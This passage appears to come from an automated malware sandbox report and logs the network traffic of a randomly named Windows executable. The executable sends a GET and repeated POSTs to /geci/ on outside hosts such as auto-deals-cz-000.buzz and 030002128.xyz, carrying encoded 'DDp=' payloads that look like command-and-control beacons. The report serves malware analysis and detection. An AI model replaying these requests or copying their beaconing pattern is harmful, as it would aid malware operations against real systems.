Nov 6, 2024 08:42:22.488420010 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 06 Nov 2024 07:42:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Nov 6, 2024 08:42:22.488435984 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	50029	161.97.142.144	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:42:24.184984922 CET	550	OUT	GET /knx2/?DDp=cx1F/qf6XWf+sqaNqgWjpjf2u/FJ3U1rCAFJJdWfl5OjgpHNlJW/Jou+UuCSZllgDcZAwgAs0R21dhdWF/X3usItMGO4lmDkyY4fIJ/HYM1kf3catma7zBplk9C6FFtSionVViQ=&SvrLY=3P8lALA HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.030002128.xyz Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 6, 2024 08:42:25.010678053 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 06 Nov 2024 07:42:24 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2966 Connection: close Vary: Accept-Encoding ETag: "66cce1df-b96" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;color: #5d5d5d;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial,"Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol","Noto Color Emoji";text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.75);text-align: center;}h1 {font-size: 2.45em;font-weight: 700;color: #5d5d5d;letter-spacing: -0.02em;margin-bottom: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}.info {color: #5594cf;fill: #5594cf;}.error [TRUNCATED]
Nov 6, 2024 08:42:25.010694027 CET	1236	IN	Data Raw: 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 63 39 32 31 32 37 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 77 61 72 6e 69 6e 67 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 Data Ascii: ;fill: #c92127;}.warning {color: #ffcc33;fill: #ffcc33;}.success {color: #5aba47;fill: #5aba47;}.icon-large {height: 132px;width: 132px;}.description-text {color: #707
Nov 6, 2024 08:42:25.010711908 CET	698	IN	Data Raw: 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 20 30 20 31 32 2d 35 2e 33 37 33 20 31 32 2d 31 32 76 2d 31 2e 33 33 33 63 30 2d 32 38 2e 34 36 32 20 38 33 2e Data Ascii: 941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12v-1.333c0-28.462 83.186-29.647 83.186-106.667 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	50030	199.59.243.227	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:42:30.242670059 CET	837	OUT	POST /geci/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.auto-deals-cz-000.buzz Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 208 Cache-Control: no-cache Origin: http://www.auto-deals-cz-000.buzz Referer: http://www.auto-deals-cz-000.buzz/geci/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 44 57 30 30 66 36 69 37 6f 55 49 51 53 69 5a 2f 38 55 36 62 59 61 41 46 6d 55 32 79 72 54 70 63 49 77 33 66 61 4d 4d 45 73 78 56 4c 49 71 4a 57 4d 74 6b 4e 61 5a 68 6f 72 55 74 4f 4a 51 49 31 76 52 71 41 51 4b 31 6d 30 64 6e 4f 61 51 35 44 72 39 62 4d 78 46 55 77 44 49 68 79 36 63 56 41 4e 68 4f 45 50 68 4b 6c 48 48 46 52 38 57 51 56 65 38 36 52 58 76 30 78 41 6c 5a 30 46 36 51 6b 66 5a 61 47 59 77 30 47 31 47 6c 38 78 43 42 6b 50 58 61 43 36 75 57 61 31 6b 42 73 44 32 46 4d 6e 6c 2b 49 4c 73 61 45 75 49 7a 5a 52 70 70 69 50 33 44 33 67 71 32 69 6f 45 47 2f 41 76 44 75 62 64 63 39 67 67 2b 43 50 44 4f 36 Data Ascii: DDp=DW00f6i7oUIQSiZ/8U6bYaAFmU2yrTpcIw3faMMEsxVLIqJWMtkNaZhorUtOJQI1vRqAQK1m0dnOaQ5Dr9bMxFUwDIhy6cVANhOEPhKlHHFR8WQVe86RXv0xAlZ0F6QkfZaGYw0G1Gl8xCBkPXaC6uWa1kBsD2FMnl+ILsaEuIzZRppiP3D3gq2ioEG/AvDubdc9gg+CPDO6
Nov 6, 2024 08:42:30.853243113 CET	1236	IN	HTTP/1.1 200 OK date: Wed, 06 Nov 2024 07:42:30 GMT content-type: text/html; charset=utf-8 content-length: 1158 x-request-id: d57c27a5-209c-4e59-bc95-0d7c82c58d5a cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VW4CBoa3Xe3VwtrJKaNFz44itmWXfIGD8DWMZ4wZZSGzavsy7ofvJzIydNlKFSGI8v9WEBhtAA/k6bBayOmKYQ== set-cookie: parking_session=d57c27a5-209c-4e59-bc95-0d7c82c58d5a; expires=Wed, 06 Nov 2024 07:57:30 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 57 34 43 42 6f 61 33 58 65 33 56 77 74 72 4a 4b 61 4e 46 7a 34 34 69 74 6d 57 58 66 49 47 44 38 44 57 4d 5a 34 77 5a 5a 53 47 7a 61 76 73 79 37 6f 66 76 4a 7a 49 79 64 4e 6c 4b 46 53 47 49 38 76 39 57 45 42 68 74 41 41 2f 6b 36 62 42 61 79 4f 6d 4b 59 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VW4CBoa3Xe3VwtrJKaNFz44itmWXfIGD8DWMZ4wZZSGzavsy7ofvJzIydNlKFSGI8v9WEBhtAA/k6bBayOmKYQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Nov 6, 2024 08:42:30.853271961 CET	611	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZDU3YzI3YTUtMjA5Yy00ZTU5LWJjOTUtMGQ3YzgyYzU4ZDVhIiwicGFnZV90aW1lIjoxNzMwODc4OT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	50031	199.59.243.227	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:42:32.796104908 CET	861	OUT	POST /geci/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.auto-deals-cz-000.buzz Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 232 Cache-Control: no-cache Origin: http://www.auto-deals-cz-000.buzz Referer: http://www.auto-deals-cz-000.buzz/geci/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 44 57 30 30 66 36 69 37 6f 55 49 51 54 43 4a 2f 37 33 69 62 61 36 41 47 70 30 32 79 68 7a 70 69 49 77 7a 66 61 4f 38 55 73 44 78 4c 49 4c 35 57 4e 73 6b 4e 5a 5a 68 6f 7a 6b 74 58 58 67 49 45 76 52 75 6d 51 49 68 6d 30 64 7a 4f 61 56 46 44 72 4f 7a 50 78 56 55 79 50 6f 68 30 30 38 56 41 4e 68 4f 45 50 68 50 79 48 48 64 52 38 43 73 56 66 5a 57 65 65 50 30 79 48 6c 5a 30 50 61 51 67 66 5a 61 6f 59 78 70 74 31 45 4e 38 78 47 46 6b 4f 47 61 42 6a 65 57 59 2f 45 41 54 4b 6e 34 41 67 48 2f 72 42 63 4b 46 2b 76 2f 6f 5a 2f 30 34 54 45 44 55 79 36 57 67 6f 47 65 4e 41 50 44 45 5a 64 6b 39 79 33 79 6c 41 33 72 5a 4d 76 55 55 4a 37 51 66 68 67 70 59 53 6e 6c 41 65 65 41 43 7a 67 3d 3d Data Ascii: DDp=DW00f6i7oUIQTCJ/73iba6AGp02yhzpiIwzfaO8UsDxLIL5WNskNZZhozktXXgIEvRumQIhm0dzOaVFDrOzPxVUyPoh008VANhOEPhPyHHdR8CsVfZWeeP0yHlZ0PaQgfZaoYxpt1EN8xGFkOGaBjeWY/EATKn4AgH/rBcKF+v/oZ/04TEDUy6WgoGeNAPDEZdk9y3ylA3rZMvUUJ7QfhgpYSnlAeeACzg==
Nov 6, 2024 08:42:33.416079998 CET	1236	IN	HTTP/1.1 200 OK date: Wed, 06 Nov 2024 07:42:32 GMT content-type: text/html; charset=utf-8 content-length: 1158 x-request-id: c5eedf0a-25aa-4adc-80bb-27a5705dd974 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VW4CBoa3Xe3VwtrJKaNFz44itmWXfIGD8DWMZ4wZZSGzavsy7ofvJzIydNlKFSGI8v9WEBhtAA/k6bBayOmKYQ== set-cookie: parking_session=c5eedf0a-25aa-4adc-80bb-27a5705dd974; expires=Wed, 06 Nov 2024 07:57:33 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 57 34 43 42 6f 61 33 58 65 33 56 77 74 72 4a 4b 61 4e 46 7a 34 34 69 74 6d 57 58 66 49 47 44 38 44 57 4d 5a 34 77 5a 5a 53 47 7a 61 76 73 79 37 6f 66 76 4a 7a 49 79 64 4e 6c 4b 46 53 47 49 38 76 39 57 45 42 68 74 41 41 2f 6b 36 62 42 61 79 4f 6d 4b 59 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VW4CBoa3Xe3VwtrJKaNFz44itmWXfIGD8DWMZ4wZZSGzavsy7ofvJzIydNlKFSGI8v9WEBhtAA/k6bBayOmKYQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Nov 6, 2024 08:42:33.416104078 CET	611	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYzVlZWRmMGEtMjVhYS00YWRjLTgwYmItMjdhNTcwNWRkOTc0IiwicGFnZV90aW1lIjoxNzMwODc4OT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	50032	199.59.243.227	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:42:35.343238115 CET	1874	OUT	POST /geci/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.auto-deals-cz-000.buzz Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1244 Cache-Control: no-cache Origin: http://www.auto-deals-cz-000.buzz Referer: http://www.auto-deals-cz-000.buzz/geci/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 44 57 30 30 66 36 69 37 6f 55 49 51 54 43 4a 2f 37 33 69 62 61 36 41 47 70 30 32 79 68 7a 70 69 49 77 7a 66 61 4f 38 55 73 44 35 4c 4c 35 42 57 4d 50 63 4e 59 5a 68 6f 2b 45 74 53 58 67 49 5a 76 58 47 36 51 49 74 51 30 65 4c 4f 61 33 64 44 37 2f 7a 50 2b 56 55 79 53 59 68 31 36 63 56 5a 4e 67 2b 41 50 68 2f 79 48 48 64 52 38 44 38 56 63 4d 36 65 53 76 30 78 41 6c 5a 34 46 36 51 49 66 5a 43 65 59 78 63 57 31 30 74 38 78 69 68 6b 4d 30 43 42 38 75 57 65 34 45 41 4c 4b 6e 31 43 67 48 6a 4e 42 63 2b 72 2b 6f 33 6f 50 61 4e 59 4f 68 6a 59 73 62 47 62 6f 45 71 7a 49 6f 7a 74 58 39 67 31 31 33 71 48 42 6e 76 31 42 49 51 33 4d 34 70 73 78 7a 56 71 5a 7a 77 65 53 75 42 46 72 66 47 65 4a 33 66 4c 31 6e 2f 66 37 57 59 54 57 6b 73 74 65 35 5a 6d 59 66 36 50 2b 2f 63 57 4a 6b 48 2b 30 55 31 6b 4f 6d 44 6c 6f 4b 48 76 36 32 44 41 30 6c 73 6c 7a 65 62 63 6e 47 56 4c 73 73 2f 76 4b 78 57 56 72 4e 6b 64 64 33 55 69 4c 69 44 64 37 54 56 5a 45 73 50 4e 66 33 76 6a 46 38 2f 64 34 36 78 32 78 31 64 72 32 43 [TRUNCATED] Data Ascii: DDp=DW00f6i7oUIQTCJ/73iba6AGp02yhzpiIwzfaO8UsD5LL5BWMPcNYZho+EtSXgIZvXG6QItQ0eLOa3dD7/zP+VUySYh16cVZNg+APh/yHHdR8D8VcM6eSv0xAlZ4F6QIfZCeYxcW10t8xihkM0CB8uWe4EALKn1CgHjNBc+r+o3oPaNYOhjYsbGboEqzIoztX9g113qHBnv1BIQ3M4psxzVqZzweSuBFrfGeJ3fL1n/f7WYTWkste5ZmYf6P+/cWJkH+0U1kOmDloKHv62DA0lslzebcnGVLss/vKxWVrNkdd3UiLiDd7TVZEsPNf3vjF8/d46x2x1dr2CctfaadxQ+HZzXeYI+5e0t/1xc37MQ5rukzS6uN7e2Pxy4o1EUbWUP10AK/TuI1injJGlQxo5ZyoZcebJI8zQcdTDXdLroU90X2q/NXGjAtsyB9UA2XHHnBzOSEcUBNXE+FiKdzTxZaf9SSmvdMc2yJNUpUOKZZ7g6AhjOdWGhqtoQ+VRShMDHB+t8ElXjbfunye86W/4XkKSVZYf4xRxs6eq2Mmi1lvGqHWhD4/OmEYHP6Vk2nnw3ADYbkn7XHZ7ipfiGRffReGCaktUYQOtoxjaDRU5YG68vaiVeq53jArSx6FBJQnVakE2Tuky6ypCTppwReLOHOzH6LxKrrcuup5nuz8My0I8jnfomhr5uq5KbocTkF+7pNRKUpIsJ8+x0t7c+3Kdkm2jg+kJT7OFnvmFpCiaMIjBLvY9ciKodGepXFrBVitURpc6OQoPa7OjESWZCXFUrCK6p8BCbHRWS6kupOK5LT5+sqsO/2ffZ4UL18IYL7kkJvHN7DyRJtsoVyfUU3E8zMtGMNP+KHQkuh9dBDlnVlLW8z0LOpwiMR5TjCx5W3V6f8bP8EnbSct8tHO+Cbr+kNAorbCVrrUo5MIsBrmklucnHKZmJRZt5MDUw+SBECaXK0w4daD5KPXdXqhEZ+6dgNcPZU7e64zElQmAEa2C6O0Qgq [TRUNCATED]
Nov 6, 2024 08:42:35.969959021 CET	1236	IN	HTTP/1.1 200 OK date: Wed, 06 Nov 2024 07:42:35 GMT content-type: text/html; charset=utf-8 content-length: 1158 x-request-id: a7000474-fca9-4b0c-94e6-83dbf10ed818 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VW4CBoa3Xe3VwtrJKaNFz44itmWXfIGD8DWMZ4wZZSGzavsy7ofvJzIydNlKFSGI8v9WEBhtAA/k6bBayOmKYQ== set-cookie: parking_session=a7000474-fca9-4b0c-94e6-83dbf10ed818; expires=Wed, 06 Nov 2024 07:57:35 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 57 34 43 42 6f 61 33 58 65 33 56 77 74 72 4a 4b 61 4e 46 7a 34 34 69 74 6d 57 58 66 49 47 44 38 44 57 4d 5a 34 77 5a 5a 53 47 7a 61 76 73 79 37 6f 66 76 4a 7a 49 79 64 4e 6c 4b 46 53 47 49 38 76 39 57 45 42 68 74 41 41 2f 6b 36 62 42 61 79 4f 6d 4b 59 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VW4CBoa3Xe3VwtrJKaNFz44itmWXfIGD8DWMZ4wZZSGzavsy7ofvJzIydNlKFSGI8v9WEBhtAA/k6bBayOmKYQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
